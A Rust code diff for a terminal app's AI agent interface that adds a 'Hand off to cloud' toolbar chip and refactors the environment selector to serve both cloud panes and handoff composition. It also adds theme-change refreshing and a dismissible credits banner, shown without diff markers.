&& me.chip_configurator.current_dragging_state.is_none()
|
||||
{
|
||||
me.reset_from_settings(ctx);
|
||||
ctx.notify();
|
||||
}
|
||||
});
|
||||
|
||||
editor
|
||||
}
|
||||
|
||||
@@ -270,7 +308,21 @@ fn save_toolbar_selection<V: View>(
|
||||
}
|
||||
|
||||
impl AgentToolbarEditorModal {
|
||||
pub fn new(_ctx: &mut ViewContext<Self>) -> Self {
|
||||
pub fn new(ctx: &mut ViewContext<Self>) -> Self {
|
||||
// Chip colors are derived from the theme, so rebuild the chips when the
|
||||
// theme changes to keep an open editor readable after a theme switch.
|
||||
// Only rebuild while the modal is actually open (has chips) and not
|
||||
// mid-drag.
|
||||
ctx.subscribe_to_model(&Appearance::handle(ctx), |me, _, event, ctx| {
|
||||
if matches!(event, AppearanceEvent::ThemeChanged)
|
||||
&& me.chip_configurator.current_dragging_state.is_none()
|
||||
&& me.chip_configurator.has_items()
|
||||
{
|
||||
let mode = me.mode;
|
||||
open_toolbar_items_from_settings(&mut me.chip_configurator, mode, ctx);
|
||||
ctx.notify();
|
||||
}
|
||||
});
|
||||
Self {
|
||||
mouse_handles: Default::default(),
|
||||
chip_configurator: ChipConfigurator::new(ChipConfiguratorLayout::LeftRightZones),
|
||||
|
||||
@@ -1,38 +1,101 @@
|
||||
use galaxy_core::send_telemetry_from_ctx;
|
||||
use galaxy_core::ui::color::blend::Blend;
|
||||
use galaxy_core::ui::theme::Fill;
|
||||
use galaxyui::{
|
||||
elements::{
|
||||
ChildAnchor, ChildView, ConstrainedBox, OffsetPositioning, ParentAnchor, ParentElement,
|
||||
ParentOffsetBounds, Stack,
|
||||
},
|
||||
AppContext, Element, Entity, ModelHandle, SingletonEntity, TypedActionView, View, ViewContext,
|
||||
ViewHandle,
|
||||
};
|
||||
use std::sync::Arc;
|
||||
|
||||
use pathfinder_color::ColorU;
|
||||
use pathfinder_geometry::vector::vec2f;
|
||||
use settings::Setting;
|
||||
|
||||
use std::sync::Arc;
|
||||
|
||||
use crate::{
|
||||
ai::ambient_agents::telemetry::CloudAgentTelemetryEvent,
|
||||
ai::{
|
||||
cloud_agent_settings::CloudAgentSettings, cloud_environments::CloudAmbientAgentEnvironment,
|
||||
},
|
||||
appearance::Appearance,
|
||||
cloud_object::model::{generic_string_model::StringModel, persistence::CloudModel},
|
||||
context_chips::display_menu::{
|
||||
ChipMenuType, DisplayChipMenu, FixedFooter, GenericMenuItem, PromptDisplayMenuEvent,
|
||||
},
|
||||
report_if_error,
|
||||
server::ids::SyncId,
|
||||
terminal::input::{MenuPositioning, MenuPositioningProvider},
|
||||
ui_components::icons::Icon,
|
||||
view_components::action_button::{ActionButton, ActionButtonTheme, ButtonSize},
|
||||
use galaxy_core::send_telemetry_from_ctx;
|
||||
use galaxy_core::ui::color::blend::Blend;
|
||||
use galaxy_core::ui::theme::Fill;
|
||||
use galaxyui::elements::{
|
||||
ChildAnchor, ChildView, ConstrainedBox, OffsetPositioning, ParentAnchor, ParentElement,
|
||||
ParentOffsetBounds, Stack,
|
||||
};
|
||||
use galaxyui::{
|
||||
AppContext, Element, Entity, ModelHandle, SingletonEntity, TypedActionView, View, ViewContext,
|
||||
ViewHandle,
|
||||
};
|
||||
|
||||
use super::{AgentInputButtonTheme, AmbientAgentViewModel};
|
||||
use crate::ai::ambient_agents::telemetry::CloudAgentTelemetryEvent;
|
||||
use crate::ai::cloud_agent_settings::CloudAgentSettings;
|
||||
use crate::ai::cloud_environments::CloudAmbientAgentEnvironment;
|
||||
use crate::appearance::Appearance;
|
||||
use crate::cloud_object::model::generic_string_model::StringModel;
|
||||
use crate::cloud_object::model::persistence::CloudModel;
|
||||
use crate::cloud_object::CloudObjectLookup as _;
|
||||
use crate::context_chips::display_menu::{
|
||||
ChipMenuType, DisplayChipMenu, FixedFooter, GenericMenuItem, PromptDisplayMenuEvent,
|
||||
};
|
||||
use crate::report_if_error;
|
||||
use crate::server::ids::SyncId;
|
||||
use crate::terminal::input::{
|
||||
HandoffComposeState, HandoffComposeStateEvent, MenuPositioning, MenuPositioningProvider,
|
||||
};
|
||||
use crate::terminal::view::ambient_agent::AmbientAgentViewModelEvent;
|
||||
use crate::ui_components::icons::Icon;
|
||||
use crate::view_components::action_button::{ActionButton, ActionButtonTheme, ButtonSize};
|
||||
|
||||
/// Normalizes ambient-agent and handoff environment selection state behind one API.
|
||||
#[derive(Clone)]
|
||||
pub(crate) enum EnvironmentSelectorTarget {
|
||||
CloudPane(ModelHandle<AmbientAgentViewModel>),
|
||||
Handoff(ModelHandle<HandoffComposeState>),
|
||||
}
|
||||
|
||||
impl EnvironmentSelectorTarget {
|
||||
fn selected_environment_id(&self, ctx: &AppContext) -> Option<SyncId> {
|
||||
match self {
|
||||
Self::CloudPane(model) => model.as_ref(ctx).selected_environment_id().cloned(),
|
||||
Self::Handoff(state) => state.as_ref(ctx).selected_environment_id().cloned(),
|
||||
}
|
||||
}
|
||||
|
||||
fn set_environment_id(
|
||||
&self,
|
||||
environment_id: Option<SyncId>,
|
||||
is_explicit: bool,
|
||||
ctx: &mut ViewContext<EnvironmentSelector>,
|
||||
) {
|
||||
match self {
|
||||
Self::CloudPane(model) => {
|
||||
model.update(ctx, |model, ctx| {
|
||||
model.set_environment_id(environment_id, ctx);
|
||||
});
|
||||
}
|
||||
Self::Handoff(state) => {
|
||||
state.update(ctx, |state, ctx| {
|
||||
state.set_environment_id(environment_id, is_explicit, ctx);
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn ensure_default_environment_id(
|
||||
&self,
|
||||
environment_id: SyncId,
|
||||
ctx: &mut ViewContext<EnvironmentSelector>,
|
||||
) {
|
||||
match self {
|
||||
Self::CloudPane(model) => {
|
||||
model.update(ctx, |model, ctx| {
|
||||
model.set_environment_id(Some(environment_id), ctx);
|
||||
});
|
||||
}
|
||||
Self::Handoff(state) => {
|
||||
state.update(ctx, |state, ctx| {
|
||||
state.ensure_default_environment_id(environment_id, ctx);
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn is_configuring(&self, ctx: &AppContext) -> bool {
|
||||
match self {
|
||||
Self::CloudPane(model) => model.as_ref(ctx).is_configuring_ambient_agent(),
|
||||
Self::Handoff(state) => state.as_ref(ctx).is_active(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// A selector component for choosing an ambient agent environment.
|
||||
pub struct EnvironmentSelector {
|
||||
@@ -40,7 +103,7 @@ pub struct EnvironmentSelector {
|
||||
dropdown: ViewHandle<DisplayChipMenu>,
|
||||
is_menu_open: bool,
|
||||
menu_positioning_provider: Arc<dyn MenuPositioningProvider>,
|
||||
ambient_agent_model: ModelHandle<AmbientAgentViewModel>,
|
||||
target: EnvironmentSelectorTarget,
|
||||
}
|
||||
|
||||
pub enum EnvironmentSelectorEvent {
|
||||
@@ -117,7 +180,7 @@ impl GenericMenuItem for NewEnvironmentMenuItem {
|
||||
}
|
||||
}
|
||||
|
||||
fn sort_environments_by_recency(environments: &mut [CloudAmbientAgentEnvironment]) {
|
||||
pub(crate) fn sort_environments_by_recency(environments: &mut [CloudAmbientAgentEnvironment]) {
|
||||
environments.sort_by(|a, b| {
|
||||
// Sort by last-used timestamp descending (most recent first), then by display name ascending
|
||||
b.metadata
|
||||
@@ -136,7 +199,7 @@ fn sort_environments_by_recency(environments: &mut [CloudAmbientAgentEnvironment
|
||||
impl EnvironmentSelector {
|
||||
pub fn new(
|
||||
menu_positioning_provider: Arc<dyn MenuPositioningProvider>,
|
||||
ambient_agent_model: ModelHandle<AmbientAgentViewModel>,
|
||||
target: EnvironmentSelectorTarget,
|
||||
ctx: &mut ViewContext<Self>,
|
||||
) -> Self {
|
||||
let button = ctx.add_typed_action_view(|_ctx| {
|
||||
@@ -190,9 +253,7 @@ impl EnvironmentSelector {
|
||||
ctx
|
||||
);
|
||||
if me.is_configuring(ctx) {
|
||||
me.ambient_agent_model.update(ctx, |model, ctx| {
|
||||
model.set_environment_id(Some(env_item.id), ctx);
|
||||
});
|
||||
me.target.set_environment_id(Some(env_item.id), true, ctx);
|
||||
// Persist the selection to settings for next time.
|
||||
me.save_selected_environment_to_settings(env_item.id, ctx);
|
||||
}
|
||||
@@ -212,19 +273,39 @@ impl EnvironmentSelector {
|
||||
ctx.notify();
|
||||
});
|
||||
|
||||
ctx.subscribe_to_model(&ambient_agent_model, |me, _, event, ctx| {
|
||||
use crate::terminal::view::ambient_agent::AmbientAgentViewModelEvent;
|
||||
if let AmbientAgentViewModelEvent::EnvironmentSelected = event {
|
||||
me.refresh_menu(ctx);
|
||||
match &target {
|
||||
EnvironmentSelectorTarget::CloudPane(model) => {
|
||||
ctx.subscribe_to_model(model, |me, _, event, ctx| {
|
||||
if let AmbientAgentViewModelEvent::EnvironmentSelected = event {
|
||||
me.refresh_menu(ctx);
|
||||
}
|
||||
me.refresh_button(ctx);
|
||||
});
|
||||
}
|
||||
me.refresh_button(ctx);
|
||||
});
|
||||
EnvironmentSelectorTarget::Handoff(state) => {
|
||||
ctx.subscribe_to_model(state, |me, _, event, ctx| {
|
||||
match event {
|
||||
HandoffComposeStateEvent::ActiveChanged => {
|
||||
if !me.is_configuring(ctx) {
|
||||
me.set_menu_visibility(false, ctx);
|
||||
}
|
||||
me.ensure_default_selection(ctx);
|
||||
me.refresh_menu(ctx);
|
||||
}
|
||||
HandoffComposeStateEvent::EnvironmentSelected => {
|
||||
me.refresh_menu(ctx);
|
||||
}
|
||||
}
|
||||
me.refresh_button(ctx);
|
||||
});
|
||||
}
|
||||
}
|
||||
let mut me = Self {
|
||||
button,
|
||||
dropdown,
|
||||
is_menu_open: false,
|
||||
menu_positioning_provider,
|
||||
ambient_agent_model,
|
||||
target,
|
||||
};
|
||||
me.refresh_menu(ctx);
|
||||
me.refresh_button(ctx);
|
||||
@@ -236,13 +317,34 @@ impl EnvironmentSelector {
|
||||
self.is_menu_open
|
||||
}
|
||||
|
||||
fn is_configuring(&self, ctx: &AppContext) -> bool {
|
||||
self.ambient_agent_model
|
||||
.as_ref(ctx)
|
||||
.is_configuring_ambient_agent()
|
||||
pub fn open_menu(&mut self, ctx: &mut ViewContext<Self>) {
|
||||
if !self.is_configuring(ctx) {
|
||||
return;
|
||||
}
|
||||
self.set_menu_visibility(true, ctx);
|
||||
}
|
||||
|
||||
fn set_menu_visibility(&mut self, is_open: bool, ctx: &mut ViewContext<Self>) {
|
||||
fn is_configuring(&self, ctx: &AppContext) -> bool {
|
||||
self.target.is_configuring(ctx)
|
||||
}
|
||||
|
||||
fn highlight_selected_environment(&mut self, ctx: &mut ViewContext<Self>) {
|
||||
let Some(selected_id) = self.target.selected_environment_id(ctx) else {
|
||||
return;
|
||||
};
|
||||
|
||||
let mut environments = CloudAmbientAgentEnvironment::get_all(ctx);
|
||||
sort_environments_by_recency(&mut environments);
|
||||
let Some(index) = environments.iter().position(|env| env.id == selected_id) else {
|
||||
return;
|
||||
};
|
||||
|
||||
self.dropdown.update(ctx, |menu, ctx| {
|
||||
menu.select_index(index, ctx);
|
||||
});
|
||||
}
|
||||
|
||||
pub(super) fn set_menu_visibility(&mut self, is_open: bool, ctx: &mut ViewContext<Self>) {
|
||||
if self.is_menu_open == is_open {
|
||||
return;
|
||||
}
|
||||
@@ -251,6 +353,7 @@ impl EnvironmentSelector {
|
||||
if is_open {
|
||||
send_telemetry_from_ctx!(CloudAgentTelemetryEvent::EnvironmentSelectorOpened, ctx);
|
||||
ctx.focus(&self.dropdown);
|
||||
self.highlight_selected_environment(ctx);
|
||||
}
|
||||
ctx.emit(EnvironmentSelectorEvent::MenuVisibilityChanged { open: is_open });
|
||||
ctx.notify();
|
||||
@@ -258,10 +361,7 @@ impl EnvironmentSelector {
|
||||
|
||||
/// Ensures a default environment is selected if none is currently selected.
|
||||
fn ensure_default_selection(&mut self, ctx: &mut ViewContext<Self>) {
|
||||
let current_selection = self
|
||||
.ambient_agent_model
|
||||
.as_ref(ctx)
|
||||
.selected_environment_id();
|
||||
let current_selection = self.target.selected_environment_id(ctx);
|
||||
if current_selection.is_some() {
|
||||
return;
|
||||
}
|
||||
@@ -270,9 +370,7 @@ impl EnvironmentSelector {
|
||||
if let Some(env_id) = self.get_saved_environment_from_settings(ctx) {
|
||||
// Verify the environment still exists.
|
||||
if CloudAmbientAgentEnvironment::get_by_id(&env_id, ctx).is_some() {
|
||||
self.ambient_agent_model.update(ctx, |model, ctx| {
|
||||
model.set_environment_id(Some(env_id), ctx);
|
||||
});
|
||||
self.target.ensure_default_environment_id(env_id, ctx);
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -281,9 +379,7 @@ impl EnvironmentSelector {
|
||||
let mut environments = CloudAmbientAgentEnvironment::get_all(ctx);
|
||||
sort_environments_by_recency(&mut environments);
|
||||
if let Some(first_env) = environments.first() {
|
||||
self.ambient_agent_model.update(ctx, |model, ctx| {
|
||||
model.set_environment_id(Some(first_env.id), ctx);
|
||||
});
|
||||
self.target.ensure_default_environment_id(first_env.id, ctx);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -307,11 +403,7 @@ impl EnvironmentSelector {
|
||||
let mut environments = CloudAmbientAgentEnvironment::get_all(ctx);
|
||||
sort_environments_by_recency(&mut environments);
|
||||
|
||||
let selected_id = self
|
||||
.ambient_agent_model
|
||||
.as_ref(ctx)
|
||||
.selected_environment_id()
|
||||
.cloned();
|
||||
let selected_id = self.target.selected_environment_id(ctx);
|
||||
|
||||
let menu_items: Vec<EnvironmentMenuItem> = environments
|
||||
.iter()
|
||||
@@ -328,16 +420,20 @@ impl EnvironmentSelector {
|
||||
self.dropdown.update(ctx, |menu, ctx| {
|
||||
menu.update_menu_items(menu_items, ctx);
|
||||
});
|
||||
|
||||
if self.is_menu_open {
|
||||
self.highlight_selected_environment(ctx);
|
||||
}
|
||||
}
|
||||
|
||||
fn refresh_button(&mut self, ctx: &mut ViewContext<Self>) {
|
||||
let label = self
|
||||
.ambient_agent_model
|
||||
.as_ref(ctx)
|
||||
.selected_environment_id()
|
||||
.and_then(|id| CloudAmbientAgentEnvironment::get_by_id(id, ctx))
|
||||
.map(|env| env.model().string_model.display_name())
|
||||
.unwrap_or_else(|| "New environment".to_string());
|
||||
let label = if let Some(id) = self.target.selected_environment_id(ctx) {
|
||||
CloudAmbientAgentEnvironment::get_by_id(&id, ctx)
|
||||
.map(|env| env.model().string_model.display_name())
|
||||
.unwrap_or_else(|| "New environment".to_string())
|
||||
} else {
|
||||
"New environment".to_string()
|
||||
};
|
||||
|
||||
let is_configuring = self.is_configuring(ctx);
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,11 +1,12 @@
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
use crate::context_chips::{agent_footer_available_chips, available_chips, ContextChipKind};
|
||||
use crate::features::FeatureFlag;
|
||||
use crate::terminal::shared_session::SharedSessionStatus;
|
||||
use crate::ui_components::icons::Icon;
|
||||
use warpui::SingletonEntity;
|
||||
|
||||
use super::editor::AgentToolbarEditorMode;
|
||||
use crate::context_chips::{agent_footer_available_chips, available_chips, ContextChipKind};
|
||||
use crate::features::FeatureFlag;
|
||||
use crate::settings::AISettings;
|
||||
use crate::terminal::shared_session::SharedSessionStatus;
|
||||
use crate::ui_components::icons::Icon;
|
||||
|
||||
/// Declares which footer(s) a toolbar item is available in.
|
||||
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
|
||||
@@ -67,6 +68,9 @@ pub enum AgentToolbarItemKind {
|
||||
|
||||
// Agent view only – shows fast-forward (auto-approve) toggle in the footer
|
||||
FastForwardToggle,
|
||||
|
||||
// Agent view only – "Hand off to cloud" chip.
|
||||
HandoffToCloud,
|
||||
}
|
||||
|
||||
impl AgentToolbarItemKind {
|
||||
@@ -76,7 +80,8 @@ impl AgentToolbarItemKind {
|
||||
Self::ModelSelector
|
||||
| Self::NLDToggle
|
||||
| Self::ContextWindowUsage
|
||||
| Self::FastForwardToggle => ToolbarAvailability::AgentViewOnly,
|
||||
| Self::FastForwardToggle
|
||||
| Self::HandoffToCloud => ToolbarAvailability::AgentViewOnly,
|
||||
Self::FileExplorer | Self::RichInput | Self::Settings => {
|
||||
ToolbarAvailability::CLIAgentOnly
|
||||
}
|
||||
@@ -95,6 +100,8 @@ impl AgentToolbarItemKind {
|
||||
Self::Settings | Self::FileExplorer => !status.is_viewer(),
|
||||
Self::FileAttach => !status.is_viewer() || is_cloud_mode,
|
||||
Self::FastForwardToggle => !status.is_viewer() || status.is_executor(),
|
||||
// Handoff is host-initiated; viewers cannot hand off another user's conversation.
|
||||
Self::HandoffToCloud => !status.is_viewer(),
|
||||
Self::ContextChip(_)
|
||||
| Self::ModelSelector
|
||||
| Self::NLDToggle
|
||||
@@ -116,6 +123,7 @@ impl AgentToolbarItemKind {
|
||||
Self::RichInput => "Rich Input",
|
||||
Self::Settings => "Settings",
|
||||
Self::FastForwardToggle => "Fast Forward",
|
||||
Self::HandoffToCloud => "Hand off to cloud",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -126,11 +134,44 @@ impl AgentToolbarItemKind {
|
||||
Self::NLDToggle => Some(Icon::NLD),
|
||||
Self::VoiceInput => Some(Icon::Microphone),
|
||||
Self::FileAttach => Some(Icon::Plus),
|
||||
Self::ContextWindowUsage => Some(Icon::ConversationContext0),
|
||||
Self::ContextWindowUsage => Some(Icon::ContextRemaining100),
|
||||
Self::FileExplorer => Some(Icon::FileCopy),
|
||||
Self::RichInput => Some(Icon::TextInput),
|
||||
Self::Settings => Some(Icon::Settings),
|
||||
Self::FastForwardToggle => Some(Icon::FastForward),
|
||||
// The bundled `upload-cloud-01.svg` (cloud-with-upward-arrow) is the
|
||||
// closest fit among the existing icons for V0; design may swap it later.
|
||||
Self::HandoffToCloud => Some(Icon::UploadCloud),
|
||||
}
|
||||
}
|
||||
|
||||
/// Whether this item should remain visible during `&` handoff-compose mode.
|
||||
/// Only items relevant to composing a cloud run are shown.
|
||||
pub(super) fn is_available_during_handoff_compose(&self) -> bool {
|
||||
match self {
|
||||
Self::ContextChip(
|
||||
ContextChipKind::ShellGitBranch | ContextChipKind::GitBranchStatus,
|
||||
) => true,
|
||||
Self::ModelSelector | Self::VoiceInput | Self::FileAttach => true,
|
||||
Self::ContextChip(_)
|
||||
| Self::NLDToggle
|
||||
| Self::ContextWindowUsage
|
||||
| Self::FastForwardToggle
|
||||
| Self::HandoffToCloud
|
||||
| Self::ShareSession
|
||||
| Self::FileExplorer
|
||||
| Self::RichInput
|
||||
| Self::Settings => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Whether this item should be included in the toolbar given the current app state.
|
||||
/// Feature-flag checks live in `all_available()` / `default_*()`. This method
|
||||
/// handles runtime conditions that depend on user settings or workspace state.
|
||||
pub fn is_available(&self, app: &warpui::AppContext) -> bool {
|
||||
match self {
|
||||
Self::HandoffToCloud => AISettings::as_ref(app).is_cloud_handoff_enabled(app),
|
||||
_ => true,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -167,6 +208,17 @@ impl AgentToolbarItemKind {
|
||||
Self::ContextWindowUsage,
|
||||
Self::ModelSelector,
|
||||
];
|
||||
if FeatureFlag::CreatingSharedSessions.is_enabled()
|
||||
&& FeatureFlag::HOARemoteControl.is_enabled()
|
||||
{
|
||||
items.push(Self::ShareSession);
|
||||
}
|
||||
if FeatureFlag::OzHandoff.is_enabled()
|
||||
&& FeatureFlag::HandoffLocalCloud.is_enabled()
|
||||
&& cfg!(all(feature = "local_fs", not(target_family = "wasm")))
|
||||
{
|
||||
items.push(Self::HandoffToCloud);
|
||||
}
|
||||
items.push(Self::VoiceInput);
|
||||
items.push(Self::FileAttach);
|
||||
items
|
||||
@@ -188,6 +240,17 @@ impl AgentToolbarItemKind {
|
||||
if FeatureFlag::FastForwardAutoexecuteButton.is_enabled() {
|
||||
items.push(Self::FastForwardToggle);
|
||||
}
|
||||
if FeatureFlag::CreatingSharedSessions.is_enabled()
|
||||
&& FeatureFlag::HOARemoteControl.is_enabled()
|
||||
{
|
||||
items.push(Self::ShareSession);
|
||||
}
|
||||
if FeatureFlag::OzHandoff.is_enabled()
|
||||
&& FeatureFlag::HandoffLocalCloud.is_enabled()
|
||||
&& cfg!(all(feature = "local_fs", not(target_family = "wasm")))
|
||||
{
|
||||
items.push(Self::HandoffToCloud);
|
||||
}
|
||||
items
|
||||
}
|
||||
|
||||
|
||||
@@ -9,6 +9,9 @@ use galaxyui::keymap::Keystroke;
|
||||
use galaxyui::platform::OperatingSystem;
|
||||
use galaxyui::{AppContext, Entity, ModelHandle, SingletonEntity, View, ViewContext};
|
||||
use parking_lot::FairMutex;
|
||||
use galaxyui::{
|
||||
AppContext, Entity, ModelHandle, SingletonEntity, TypedActionView, View, ViewContext,
|
||||
};
|
||||
|
||||
use super::{AgentViewState, EphemeralMessageModel, EphemeralMessageModelEvent};
|
||||
use crate::ai::agent::conversation::AIConversation;
|
||||
@@ -18,19 +21,20 @@ use crate::ai::agent::{
|
||||
use crate::ai::blocklist::agent_view::shortcuts::AgentShortcutViewModel;
|
||||
use crate::ai::blocklist::agent_view::zero_state_block::render_ambient_credits_banner;
|
||||
use crate::ai::blocklist::agent_view::{
|
||||
agent_view_bg_fill, AgentViewController, AgentViewControllerEvent,
|
||||
agent_view_bg_fill, is_in_cloud_context, AgentViewController, AgentViewControllerEvent,
|
||||
};
|
||||
use crate::ai::blocklist::{
|
||||
BlocklistAIContextEvent, BlocklistAIContextModel, BlocklistAIHistoryEvent,
|
||||
ai_brand_color, BlocklistAIContextEvent, BlocklistAIContextModel, BlocklistAIHistoryEvent,
|
||||
BlocklistAIInputEvent, BlocklistAIInputModel,
|
||||
};
|
||||
use crate::ai::document::ai_document_model::{AIDocumentModel, AIDocumentModelEvent};
|
||||
use crate::ai::mcp::{
|
||||
templatable_manager::{FigmaMcpStatus, TemplatableMCPServerManagerEvent},
|
||||
TemplatableMCPServerManager,
|
||||
use crate::ai::mcp::templatable_manager::{FigmaMcpStatus, TemplatableMCPServerManagerEvent};
|
||||
use crate::ai::mcp::TemplatableMCPServerManager;
|
||||
use crate::ai::request_usage_model::{
|
||||
AIRequestUsageModel, AIRequestUsageModelEvent, AMBIENT_AGENT_TRIAL_CREDIT_THRESHOLD,
|
||||
};
|
||||
use crate::ai::request_usage_model::{AIRequestUsageModel, AIRequestUsageModelEvent};
|
||||
use crate::search::slash_command_menu::static_commands::commands;
|
||||
use crate::settings::AISettings;
|
||||
use crate::terminal::input::buffer_model::{InputBufferModel, InputBufferUpdateEvent};
|
||||
use crate::terminal::input::message_bar::attached_context::{
|
||||
AttachedBlocksMessageProducer, AttachedContextArgs, AttachedTextSelectionMessageProducer,
|
||||
@@ -45,7 +49,7 @@ use crate::terminal::input::slash_command_model::{SlashCommandEntryState, SlashC
|
||||
use crate::terminal::input::suggestions_mode_model::{
|
||||
InputSuggestionsModeEvent, InputSuggestionsModeModel,
|
||||
};
|
||||
use crate::terminal::input::{InputAction, SET_INPUT_MODE_AGENT_ACTION_NAME};
|
||||
use crate::terminal::input::{HandoffComposeState, InputAction, SET_INPUT_MODE_AGENT_ACTION_NAME};
|
||||
use crate::terminal::model::TerminalModel;
|
||||
use crate::terminal::view::TerminalAction;
|
||||
use crate::ui_components::blended_colors;
|
||||
@@ -66,11 +70,14 @@ pub struct AgentMessageBarMouseStates {
|
||||
pub toggle_plan: MouseStateHandle,
|
||||
pub toggle_conversation_menu: MouseStateHandle,
|
||||
pub toggle_code_review: MouseStateHandle,
|
||||
pub handoff_to_cloud: MouseStateHandle,
|
||||
pub clear_attached_context: MouseStateHandle,
|
||||
/// Mouse state handle for the "Get Figma MCP" contextual button.
|
||||
pub figma_install_button: MouseStateHandle,
|
||||
/// Mouse state handle for the "Enable Figma MCP" contextual button.
|
||||
pub figma_enable_button: MouseStateHandle,
|
||||
/// Mouse state handle for dismissing the ambient credits banner.
|
||||
pub ambient_credits_banner_close: MouseStateHandle,
|
||||
}
|
||||
|
||||
/// Renders contextual hint text at the bottom of the agent view status bar.
|
||||
@@ -83,6 +90,7 @@ pub struct AgentMessageBar {
|
||||
input_suggestions_model: ModelHandle<InputSuggestionsModeModel>,
|
||||
slash_command_model: ModelHandle<SlashCommandModel>,
|
||||
context_model: ModelHandle<BlocklistAIContextModel>,
|
||||
handoff_compose_state: ModelHandle<HandoffComposeState>,
|
||||
terminal_model: Arc<FairMutex<TerminalModel>>,
|
||||
mouse_states: AgentMessageBarMouseStates,
|
||||
/// Whether the word "figma" has been detected in the current input buffer or attached images.
|
||||
@@ -93,6 +101,10 @@ pub struct AgentMessageBar {
|
||||
impl Entity for AgentMessageBar {
|
||||
type Event = ();
|
||||
}
|
||||
#[derive(Clone, Debug)]
|
||||
pub enum AgentMessageBarAction {
|
||||
DismissAmbientCreditsBanner,
|
||||
}
|
||||
|
||||
impl AgentMessageBar {
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
@@ -105,6 +117,7 @@ impl AgentMessageBar {
|
||||
input_suggestions_model: ModelHandle<InputSuggestionsModeModel>,
|
||||
slash_command_model: ModelHandle<SlashCommandModel>,
|
||||
context_model: ModelHandle<BlocklistAIContextModel>,
|
||||
handoff_compose_state: ModelHandle<HandoffComposeState>,
|
||||
terminal_model: Arc<FairMutex<TerminalModel>>,
|
||||
ctx: &mut ViewContext<Self>,
|
||||
) -> Self {
|
||||
@@ -166,6 +179,9 @@ impl AgentMessageBar {
|
||||
ctx.subscribe_to_model(&slash_command_model, |_, _, _, ctx| {
|
||||
ctx.notify();
|
||||
});
|
||||
ctx.subscribe_to_model(&handoff_compose_state, |_, _, _, ctx| {
|
||||
ctx.notify();
|
||||
});
|
||||
|
||||
let history_model = BlocklistAIHistoryModel::handle(ctx);
|
||||
ctx.subscribe_to_model(&history_model, |_, _, event, ctx| {
|
||||
@@ -215,7 +231,11 @@ impl AgentMessageBar {
|
||||
}
|
||||
|
||||
ctx.subscribe_to_model(&AIRequestUsageModel::handle(ctx), |_, _, event, ctx| {
|
||||
if matches!(event, AIRequestUsageModelEvent::RequestUsageUpdated) {
|
||||
if matches!(
|
||||
event,
|
||||
AIRequestUsageModelEvent::RequestUsageUpdated
|
||||
| AIRequestUsageModelEvent::AmbientCreditsBannerDismissed
|
||||
) {
|
||||
ctx.notify();
|
||||
}
|
||||
});
|
||||
@@ -229,6 +249,7 @@ impl AgentMessageBar {
|
||||
input_suggestions_model,
|
||||
slash_command_model,
|
||||
context_model,
|
||||
handoff_compose_state,
|
||||
terminal_model,
|
||||
mouse_states: AgentMessageBarMouseStates::default(),
|
||||
figma_detected: false,
|
||||
@@ -293,6 +314,7 @@ impl View for AgentMessageBar {
|
||||
let agent_view_controller = self.agent_view_controller.as_ref(app);
|
||||
let context_model = self.context_model.as_ref(app);
|
||||
let slash_command_model = self.slash_command_model.as_ref(app);
|
||||
let handoff_compose_state = self.handoff_compose_state.as_ref(app);
|
||||
let terminal_model = self.terminal_model.lock();
|
||||
|
||||
let appearance = Appearance::as_ref(app);
|
||||
@@ -317,6 +339,7 @@ impl View for AgentMessageBar {
|
||||
input_model,
|
||||
slash_command_model,
|
||||
context_model,
|
||||
handoff_compose_state,
|
||||
terminal_model: &terminal_model,
|
||||
appearance,
|
||||
app,
|
||||
@@ -331,6 +354,7 @@ impl View for AgentMessageBar {
|
||||
.or_else(|| AttachedBlocksMessageProducer.produce_message(args))
|
||||
.or_else(|| AttachedTextSelectionMessageProducer.produce_message(args))
|
||||
.or_else(|| AutodetectedBashModeMessageProducer.produce_message(args))
|
||||
.or_else(|| ExitCloudHandoffModeMessageProducer.produce_message(args))
|
||||
.or_else(|| ExitBashModeMessageProducer.produce_message(args))
|
||||
.or_else(|| HideShortcutsMessageProducer.produce_message(args))
|
||||
.or_else(|| ZeroStateMessageProducer.produce_message(args))
|
||||
@@ -340,19 +364,26 @@ impl View for AgentMessageBar {
|
||||
};
|
||||
|
||||
// Show credits banner when user has ambient credits remaining.
|
||||
use crate::ai::request_usage_model::AMBIENT_AGENT_TRIAL_CREDIT_THRESHOLD;
|
||||
let right_element = if cfg!(target_family = "wasm") {
|
||||
None
|
||||
} else if let Some(credits) =
|
||||
AIRequestUsageModel::as_ref(app).ambient_only_credits_remaining()
|
||||
{
|
||||
if credits >= AMBIENT_AGENT_TRIAL_CREDIT_THRESHOLD {
|
||||
Some(render_ambient_credits_banner(credits, app))
|
||||
} else {
|
||||
let request_usage_model = AIRequestUsageModel::as_ref(app);
|
||||
if let Some(credits) = request_usage_model.ambient_only_credits_remaining() {
|
||||
if credits >= AMBIENT_AGENT_TRIAL_CREDIT_THRESHOLD
|
||||
&& !request_usage_model.is_ambient_credits_banner_dismissed()
|
||||
{
|
||||
Some(render_ambient_credits_banner(
|
||||
credits,
|
||||
self.mouse_states.ambient_credits_banner_close.clone(),
|
||||
AgentMessageBarAction::DismissAmbientCreditsBanner,
|
||||
app,
|
||||
))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
} else {
|
||||
None
|
||||
}
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
// Append a Figma MCP chip to the message if applicable.
|
||||
@@ -395,6 +426,19 @@ impl View for AgentMessageBar {
|
||||
}
|
||||
}
|
||||
|
||||
impl TypedActionView for AgentMessageBar {
|
||||
type Action = AgentMessageBarAction;
|
||||
|
||||
fn handle_action(&mut self, action: &Self::Action, ctx: &mut ViewContext<Self>) {
|
||||
match action {
|
||||
AgentMessageBarAction::DismissAmbientCreditsBanner => {
|
||||
AIRequestUsageModel::handle(ctx).update(ctx, |model, ctx| {
|
||||
model.dismiss_ambient_credits_banner(ctx);
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
